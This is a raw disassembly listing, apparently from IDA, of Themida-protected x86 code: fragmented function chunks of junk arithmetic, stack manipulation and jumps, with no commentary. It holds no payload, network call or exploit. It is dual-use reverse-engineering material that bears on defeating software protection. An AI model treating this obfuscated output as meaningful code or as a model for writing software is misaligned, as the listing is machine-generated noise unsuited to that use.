loc_5A86EC:				; CODE XREF: sub_5AB511+Ej
		push	edx
		mov	edx, 6B930603h
		dec	edx
		dec	edx
		jmp	loc_5A0DC8
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A86F9:				; CODE XREF: sub_5ADE3B-1282Bj
		pop	ecx
		shr	dh, 5
		not	dh
		add	dh, 6Dh
		xor	dh, 0ABh
		jmp	loc_5A1E68
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A870A:				; CODE XREF: sub_5A8D43-760Cj
		add	dl, 0A1h
		jz	loc_59C127
		shl	dl, 8
		shr	dl, 1
		jp	loc_5A9900
		sub	dl, 0F6h
		sub	bl, dl
		jmp	loc_5AE150
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
		sub	cl, 13h
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A872C:				; CODE XREF: sub_59A932+2EA5j
					; sub_5A3F42+6FB2j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A45AD
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A873D:				; CODE XREF: sub_5ABA9B-10E9Bj
		sub	esi, 60E29ADh
		sub	esi, 63CF5160h
		shl	esi, 3
		shl	esi, 6
		sub	esi, 87F5A0ABh
		jmp	loc_5A489A
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5A875A:				; CODE XREF: sub_5A94F5+3958j
		pop	ebx
		jmp	loc_5AA9A2
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------


loc_5A8760:				; CODE XREF: Themida_:005A0941j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	edi
		mov	edi, 72B53293h
		xor	edi, 74FB2A51h
		mov	ebx, edi
		jmp	loc_5A3D53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A877A:				; CODE XREF: sub_5AE0B5-15F54j
		push	0
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ebx
		push	4CEBh
		jmp	loc_5AA5A6
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_5A879C	proc near		; CODE XREF: sub_5A91EC:loc_5AF095j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B173 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C1F6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F4F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2D91 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5057 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A58BE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A73E5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A8A97 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB69C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ABE1A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AC856 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ACA2D SIZE 00000015 BYTES

		push	ebx
		jmp	loc_59C1F6
sub_5A879C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5A87A2:				; CODE XREF: sub_59B0C4-10A7j
		mov	ecx, eax
		jmp	loc_59E73C
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A87A9:				; CODE XREF: sub_598462+58Fj
					; sub_5A3F42-1D5Aj
		push	[esp+0Ch+var_8]
		pop	eax
		pop	[esp+0Ch+var_C]
		jmp	loc_59DA02
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A87B6:				; CODE XREF: sub_59D99C+327Ej
		shl	dword ptr [esp+0], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A87BF:				; CODE XREF: sub_5A1B2A:loc_599E81j
		add	edx, 147082C5h
		jmp	loc_5A9401
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A87CA:				; CODE XREF: sub_599721-172Ej
		or	edx, 3B435271h
		jmp	loc_5A408A
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A87DC:				; CODE XREF: sub_5AB88E-B190j
		not	edx
		shr	edx, 6
		xor	edx, 129F4B9Eh
		jmp	loc_5A974C
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_5A87EC:				; CODE XREF: sub_5AC9FF-B6C4j
		pop	ebx
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		jmp	loc_598580
; END OF FUNCTION CHUNK	FOR sub_5AC9FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_5A87FC:				; CODE XREF: sub_5ADDCC-F11j
		add	esp, 4
		xchg	eax, [esp+0]
		jmp	loc_59B5F8
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_5A8807:				; CODE XREF: sub_5A980C-AFEj
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], edx
		push	5DE7h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	edx
		jmp	loc_59AEAC
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------


loc_5A8826:				; CODE XREF: Themida_:005AA081j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_599283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A8836:				; CODE XREF: sub_5986D6+48DBj
		push	esi
		mov	esi, 139936C3h
		dec	esi
		or	esi, 162A7B6Dh
		neg	esi
		sub	esi, 0CF06487Fh
		mov	ebx, esi
		pop	esi
		sub	ebx, 0ED24FCBh
		neg	ebx
		dec	ebx
		jmp	loc_5A9A5F
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		jmp	loc_5A0D6A
; ---------------------------------------------------------------------------


loc_5A8867:				; CODE XREF: Themida_:0059F8D1j
		pop	eax
		add	ebx, 409C190Ch
		add	ebx, edx
		sub	ebx, 409C190Ch
		pop	edx
		add	ebx, 4
		jmp	loc_5A4C93
; ---------------------------------------------------------------------------


loc_5A8882:				; CODE XREF: Themida_:00598DFDj
		push	esp
		jmp	loc_597BEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BC6


loc_5A8888:				; CODE XREF: sub_5A6BC6+12j
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		test	ecx, eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A6BC6

; =============== S U B	R O U T	I N E =======================================



sub_5A8899	proc near		; CODE XREF: sub_5AB3DC-95EAj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597EAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005980C1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598D75 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00599044 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00599064 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00599DBC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A9A2 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059BE01 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059D27B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059DA39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FD15 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0E89 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3D59 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A463D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4E1F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC5EA SIZE 00000014 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	4077h
		jmp	loc_59D27B
sub_5A8899	endp

; ---------------------------------------------------------------------------


loc_5A88A9:				; CODE XREF: Themida_:005A0E28j
		sub	eax, 65F76F43h
		shr	eax, 6
		jmp	loc_5A506C
; ---------------------------------------------------------------------------


loc_5A88B6:				; CODE XREF: Themida_:005A0A74j
		sub	edx, ebp
		pop	ebp
		xor	edx, 32C72241h
		not	edx
		dec	edx
		xor	edx, 1E035206h
		add	eax, edx
		pop	edx
		sub	eax, 16944E1Ah
		sub	eax, edx
		jmp	loc_59E059
; ---------------------------------------------------------------------------


loc_5A88D7:				; CODE XREF: Themida_:005A0494j
		xor	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		pop	ebx
		jmp	loc_5AA929
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A88E3:				; CODE XREF: sub_5AE6FD-DA13j
		mov	[esp-4+arg_0], ecx
		push	4886h
		mov	[esp+0], ebx
		mov	ebx, 145A7228h
		push	eax
		jmp	loc_59E8AB
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_5A88F9:				; CODE XREF: sub_5A70C2-6A17j
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_59DCE4
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------


loc_5A890A:				; CODE XREF: Themida_:005A64CDj
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_5A9F8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5A891B:				; CODE XREF: sub_598462+5B0j
		push	[esp-10h+arg_C]
		pop	ebp
		add	esp, 4
		push	edi
		push	[esp-10h+arg_10]
		pop	edi
		pop	[esp-10h+arg_C]
		mov	esp, [esp-14h+arg_10]
		mov	fs:[edx], al
		jmp	loc_5A0E47
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------


loc_5A8939:				; CODE XREF: Themida_:005A807Dj
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	eax
		jmp	loc_5AEB1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A8946:				; CODE XREF: sub_5A8C33-1FE4j
					; sub_5A8D43+3182j
		shl	ecx, 1
		jmp	loc_5A94EE
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A894D:				; CODE XREF: sub_5A728F-41B6j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	esi
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ebx
		push	1
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		jmp	loc_5A92A7
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A8977:				; CODE XREF: sub_5A8C33-E4C6j
		add	esp, 4
		pop	edx
		push	edx
		jmp	loc_59FFF1
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A8984:				; CODE XREF: Themida_:0059EDC4j
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A8991:				; CODE XREF: sub_5A600F-8CCEj
		add	esp, 4
		sub	al, 0F6h
		jmp	loc_5A9DBD
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A899E:				; CODE XREF: Themida_:0059AD8Fj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A2B13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A89B7:				; CODE XREF: sub_59C53B+B1Bj
		jbe	loc_59F083
		shr	edi, 2
		jmp	loc_5ACAE7
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	309Bh
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	633Bh
		mov	[esp], edi
		jmp	loc_59B15B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A89E3:				; CODE XREF: sub_5AE0B5+327j
		pop	ebp
		xor	ebx, 6E802022h
		jmp	loc_598209
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A89EF:				; CODE XREF: sub_5A8D43-E43Bj
		pop	edx
		shl	eax, 4
		push	ebp
		mov	ebp, 50096939h
		sub	eax, ebp
		pop	ebp
		not	eax
		inc	eax
		add	eax, 5A7D86EBh
		add	esi, eax
		jmp	loc_5AD188
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A8A0B:				; CODE XREF: sub_59D99C+4EABj
		push	789Ch
		mov	[esp+18h+var_18], eax
		push	4CB2304Fh
		push	[esp+1Ch+var_1C]
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		add	esp, 4
		jmp	loc_59B836
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A8A2C:				; CODE XREF: Themida_:0059FAF3j
		push	eax
		mov	eax, 7F3034DCh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A1D22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5A8A42:				; CODE XREF: sub_59D832-36B3j
		pop	ebp
		or	edx, 28F902A3h
		jmp	loc_5A6809
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------


loc_5A8A4E:				; CODE XREF: Themida_:0059FB18j
		sub	esi, 2D5E39C9h
		jmp	loc_5AEBE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A8A59:				; CODE XREF: sub_59CA4A:loc_59C4EEj
		shr	eax, 3
		jns	loc_5AD784
		jmp	loc_5AE1CD
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
		sub	bl, 0E4h
		sub	bl, 0B5h
		mov	cl, bl
		push	edx
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A8A70:				; CODE XREF: sub_59DBFF+9432j
		xchg	edi, [esp+14h+var_14]
		jmp	loc_5ABA5D
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A8A78:				; CODE XREF: sub_5AC95F-1077Ej
		xor	ebp, [esp-4+arg_0]
		jmp	loc_5AD299
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A8A80:				; CODE XREF: Themida_:0059D7AAj
					; sub_5A1B2A+47C9j
		dec	edx
		xor	edx, 36214346h
		jg	loc_59F2E3
		jmp	loc_5A3FB9
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8A92:				; CODE XREF: sub_5A8D43+2C12j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5A8A97:				; CODE XREF: sub_5A879C+40C9j
		sub	ecx, ebx
		jmp	loc_5A58BE
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A8A9E:				; CODE XREF: sub_5AEE2E-E901j
		dec	edx
		sub	edx, 28124AC1h
		sub	esi, edx
		pop	edx
		add	esi, 0B98058Eh
		jb	loc_59E024
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		jmp	loc_59DC5B
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5A8AC3:				; CODE XREF: sub_5A8108-A88Bj
		mov	esp, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	ebx
		mov	ebx, ecx
		mov	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, edi
		jmp	sub_5ADFE3
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A8AEF:				; CODE XREF: sub_5A1B2A+C7A1j
		sub	esi, edx
		add	esi, 22173A57h
		pop	edx
		sub	eax, esi
		pop	esi
		jmp	loc_59F928
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8B00:				; CODE XREF: sub_5A8D43+3480j
		pop	ebp
		pop	ebx
		jmp	sub_5A3F42
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_5A8B07:				; CODE XREF: sub_598D16+2237j
					; sub_5A1ED0+1B68j
		neg	ebp
		add	ebp, 52A62C59h
		add	ebx, ebp
		jmp	loc_59D593
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_5A8B16:				; CODE XREF: sub_5ADB3A+6j
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	ecx, 261D25DFh
		add	ecx, esi
		jmp	loc_5A7C7B
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A8B2B:				; CODE XREF: sub_5A7343-4DA2j
		mov	edi, ecx
		pop	ecx
		jmp	loc_5A84AA
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A8B33:				; CODE XREF: sub_599059+F544j
		jnb	loc_59E8D0
		push	3AA5h
		mov	[esp+0], ebp
		mov	eax, edi
; END OF FUNCTION CHUNK	FOR sub_599059
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A8B43:				; CODE XREF: sub_5A7343-AE4j
		jmp	loc_59C73F
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A8B48:				; CODE XREF: sub_5AEE2E-2B4Fj
		xor	ebp, 7CEE6B72h
		jbe	loc_5AAC1A
		push	eax
		jmp	loc_5AE0CD
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5A8B5A:				; CODE XREF: Themida_:0059E6F4j
		mov	esp, [esp]
		sub	eax, ebx
		push	ebp
		mov	ebp, 554B2F26h
		sub	eax, 4DFB0D15h
		add	eax, 11F05669h
		sub	eax, ebp
		push	ecx
		mov	ecx, 2664C21h
		inc	ecx
		xor	ecx, 13961A4Bh
		sub	eax, ecx
		pop	ecx
		jmp	loc_5A13F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A8B86:				; CODE XREF: sub_5AAA81-B1F3j
					; sub_59B707+117BFj
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	4E45h
		mov	[esp+4+var_4], ecx
		mov	ecx, 0E4A2C1Eh
		push	342Bh
		mov	[esp+8+var_8], edi
		mov	edi, 6F4364C2h
		dec	edi
		jmp	loc_5AA53B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5A8BAA:				; CODE XREF: sub_59EF66+A91Fj
		dec	edx
		jz	loc_5AF123
		sub	edx, 0F9BCD029h
		mov	ebx, edx
		jmp	loc_5A65FD
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5A8BBE:				; CODE XREF: sub_5A95E0-CBE4j
		push	[esp+4+var_4]
		jmp	loc_59B4EC
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5A8BC6:				; CODE XREF: sub_5A9B76+36E7j
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		pop	ecx
		push	ebx
		push	edi
		jmp	loc_59D2D3
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5A8BD5:				; CODE XREF: sub_5AD830-9503j
		add	ebp, 0F5B5CD75h
		jmp	sub_5ADCDE
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A24F4


loc_5A8BE0:				; CODE XREF: sub_5A24F4+22j
		inc	eax
		and	eax, 4591E54h
		push	ebp
		mov	ebp, 58B91261h
		inc	ebp
		jmp	loc_59805C
; END OF FUNCTION CHUNK	FOR sub_5A24F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A8BF2:				; CODE XREF: sub_59ACEC+2171j
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5AEC7E
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A8BFA:				; CODE XREF: sub_5ABF4A-13BBAj
		add	edx, 78AB4DCh
		mov	esi, edx
		pop	edx
		sub	ecx, 168A6259h
		add	ecx, 659D33D1h
		jmp	loc_5AE257
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_5A8C14:				; CODE XREF: Themida_:005ADF3Bj
		pop	esp
		mov	[esp], esp
		jmp	loc_5A14C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A8C1D:				; CODE XREF: sub_599059+21B7j
		add	esi, ebx
		pop	ebx
		push	esi
		push	[esp-8+arg_6+2]
		pop	esi
		jmp	loc_59F66C
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5A8C2B:				; CODE XREF: sub_59858D+162A6j
		shr	dl, 7
		jmp	loc_5A93DE
; END OF FUNCTION CHUNK	FOR sub_59858D

; =============== S U B	R O U T	I N E =======================================



sub_5A8C33	proc near		; CODE XREF: sub_5A3F42+247Cj

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_16		= dword	ptr  1Ah

; FUNCTION CHUNK AT 00597E0B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00597EC7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059802C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598103 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005982F2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00598428 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059848A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005985F9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059887D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598D5C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598F63 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005991DD SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00599324 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599337 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005993BE SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0059983F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00599B6E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599F48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A18F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A5B8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059A642 SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0059A750 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AA6B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059AAED SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059AB22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059ABCE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ABDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059AF67 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B4F5 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059B795 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BBD6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C039 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C106 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C329 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C604 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C870 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CA63 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CBF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CE62 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0059D1AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D240 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D4A1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D658 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059D8F1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D980 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059DB2C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DC11 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E14E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E1C6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E23C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E4A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E8C9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EAC7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059EC3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059EF38 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059F0BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F394 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FC3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059FED3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FFEC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A0E22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1081 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A12B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1642 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A1779 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A1959 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1B90 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2186 SIZE 00000006 BYTES
